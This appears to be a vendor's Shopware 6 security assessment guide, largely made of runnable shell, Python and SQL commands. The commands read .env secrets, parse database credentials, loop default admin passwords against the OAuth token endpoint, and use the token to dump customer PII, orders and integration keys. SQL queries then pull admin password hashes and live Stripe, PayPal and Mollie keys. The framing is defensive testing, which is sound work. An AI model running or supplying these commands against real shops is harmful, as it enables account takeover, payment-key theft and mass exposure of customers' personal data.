Shopware is Europe's most widely deployed open-source e-commerce platform powering hundreds of thousands of online shops. Key assessment areas: the .env file exposes APP_SECRET (used for JWT signing and session management) and DATABASE_URL (full MySQL connection string); admin credentials default to admin/shopware or admin/admin; the Admin API uses OAuth2 with client credentials stored in the database; and payment plugin configuration contains live Stripe secret keys and PayPal client secrets. This guide covers systematic Shopware 6 security assessment.
# Shopware 6 — .env APP_SECRET and DATABASE_URL extraction
SW_URL="https://shop.example.com"
# .env — Shopware main configuration (CRITICAL)
cat /var/www/shopware/.env 2>/dev/null
# APP_SECRET=... <-- used to sign JWT tokens and session cookies
# DATABASE_URL=mysql://user:password@localhost/shopware <-- full MySQL DSN
# SHOPWARE_ES_HOSTS=... <-- Elasticsearch connection
# SHOPWARE_ES_INDEXING_ENABLED=...
python3 -c "
content = open('/var/www/shopware/.env').read()
for line in content.splitlines():
line = line.strip()
if line and not line.startswith('#') and '=' in line:
key, val = line.split('=', 1)
if any(k in key.upper() for k in ['SECRET', 'PASSWORD', 'DATABASE', 'KEY', 'TOKEN']):
print(f'{key}: {val[:80]}')
" 2>/dev/null
# Parse MySQL credentials from DATABASE_URL
python3 -c "
from urllib.parse import urlparse
content = open('/var/www/shopware/.env').read()
for line in content.splitlines():
if line.startswith('DATABASE_URL='):
url = urlparse(line.split('=',1)[1])
print(f'DB Host: {url.hostname}')
print(f'DB Name: {url.path.lstrip(\"/\")}')
print(f'DB User: {url.username}')
print(f'DB Pass: {url.password}')
" 2>/dev/null
# .env.local — may override production secrets
cat /var/www/shopware/.env.local 2>/dev/null
# Test default admin credentials at /admin/
for CRED in "admin:shopware" "admin:admin" "admin@example.com:shopware"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
TOKEN=$(curl -s -X POST "${SW_URL}/api/oauth/token" \
-H "Content-Type: application/json" \
-d "{\"client_id\":\"administration\",\"grant_type\":\"password\",\"username\":\"${USER}\",\"password\":\"${PASS}\"}" \
2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('access_token','')[:20])" 2>/dev/null)
[ -n "$TOKEN" ] && echo "SUCCESS: ${USER}/${PASS} — token: ${TOKEN}..." || echo "FAILED: ${USER}/${PASS}"
done
# Shopware Admin API — OAuth2 credential assessment
SW_URL="https://shop.example.com"
# Get OAuth2 admin token with extracted credentials
ADMIN_TOKEN=$(curl -s -X POST "${SW_URL}/api/oauth/token" \
-H "Content-Type: application/json" \
-d '{"client_id":"administration","grant_type":"password","username":"admin","password":"shopware"}' \
2>/dev/null | python3 -c "import json,sys; print(json.load(sys.stdin).get('access_token',''))" 2>/dev/null)
echo "Admin token: ${ADMIN_TOKEN:0:30}..."
# Enumerate all customers (PII + order history)
curl -s "${SW_URL}/api/customer" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total customers: {d.get(\"total\")}')
for c in d.get('data',[])[:5]:
attr = c.get('attributes',{})
print(f' {attr.get(\"firstName\")} {attr.get(\"lastName\")} - {attr.get(\"email\")}')
" 2>/dev/null
# Enumerate all orders
curl -s "${SW_URL}/api/order" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Total orders: {d.get(\"total\")}')
for o in d.get('data',[])[:5]:
attr = o.get('attributes',{})
print(f' Order {attr.get(\"orderNumber\")}: {attr.get(\"amountTotal\")} {attr.get(\"currency\")}')
" 2>/dev/null
# Integration (API client) credentials from Admin API
curl -s "${SW_URL}/api/integration" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for i in d.get('data',[]):
attr = i.get('attributes',{})
print(f' Client: {attr.get(\"label\")}')
print(f' accessKey: {attr.get(\"accessKey\")}')
print(f' secretAccessKey: {attr.get(\"secretAccessKey\",\"[hidden]\")[:20]}')
" 2>/dev/null
# Shopware MySQL database — e-commerce data and payment credential extraction
DB_URL="mysql://shopware:extracted-password@localhost/shopware"
DB_PASS="extracted-password"
mysql -u shopware -p"${DB_PASS}" shopware 2>/dev/null << 'EOF'
-- Admin users with bcrypt password hashes
SELECT u.id, u.username, u.email, u.password, u.admin, u.active
FROM user u
WHERE u.deleted_at IS NULL
ORDER BY u.admin DESC
LIMIT 20;
-- All customers (PII)
SELECT c.id, c.customer_number, c.email, c.first_name, c.last_name,
c.birthday, c.last_login, c.order_count, c.order_total_amount
FROM customer c
WHERE c.deleted_at IS NULL
ORDER BY c.order_count DESC
LIMIT 20;
-- OAuth2 integration client credentials
SELECT i.label, i.access_key, i.secret_access_key
FROM integration i
WHERE i.deleted_at IS NULL;
-- Plugin payment configuration (may contain Stripe/PayPal keys)
SELECT p.name, p.config_values
FROM plugin p
WHERE p.active = 1
AND p.config_values IS NOT NULL
AND p.config_values != 'null';
-- config_values JSON may contain:
-- stripeApiKey (Stripe secret key: sk_live_...)
-- paypalClientId, paypalClientSecret
-- mollie_api_key (Mollie live key: live_...)
-- System config (global settings including payment keys)
SELECT s.configuration_key, s.configuration_value
FROM system_config s
WHERE s.configuration_key LIKE '%apikey%'
OR s.configuration_key LIKE '%secret%'
OR s.configuration_key LIKE '%password%'
LIMIT 30;
EOF
| Security Test | Method | Risk |
|---|---|---|
| .env APP_SECRET and DATABASE_URL extraction | Read /var/www/shopware/.env — APP_SECRET enables JWT token forgery; DATABASE_URL provides full MySQL access to all e-commerce data | Critical |
| Admin credential brute-force (admin/shopware, admin/admin) | POST /api/oauth/token — admin access token; full customer PII, order history, payment plugin configuration, integration key management | Critical |
| Payment plugin live key extraction (Stripe sk_live_, PayPal client_secret) | MySQL SELECT config_values FROM plugin — Stripe/PayPal/Mollie live API keys; charge creation, refund issuance, customer payment data access | Critical |
| Integration OAuth2 secret_access_key extraction | MySQL SELECT secret_access_key FROM integration — API client secrets; full programmatic Admin API access at integration permission level | High |
| Customer PII and order history enumeration | GET /api/customer and /api/order with admin token — all customer names, emails, addresses, birthdays, order history, and purchase totals | High |
Ironimo tests Shopware deployments for .env APP_SECRET and DATABASE_URL web exposure, admin/shopware and admin/admin credential testing at /api/oauth/token, integration secret_access_key extraction from the integration table, payment plugin live key detection in plugin.config_values and system_config (Stripe sk_live_, PayPal client_secret, Mollie live_ keys), customer PII enumeration via Admin API, order history and revenue data extraction, .env.local and .env.prod configuration file exposure, and Storefront API sales channel access key assessment.
Start free scan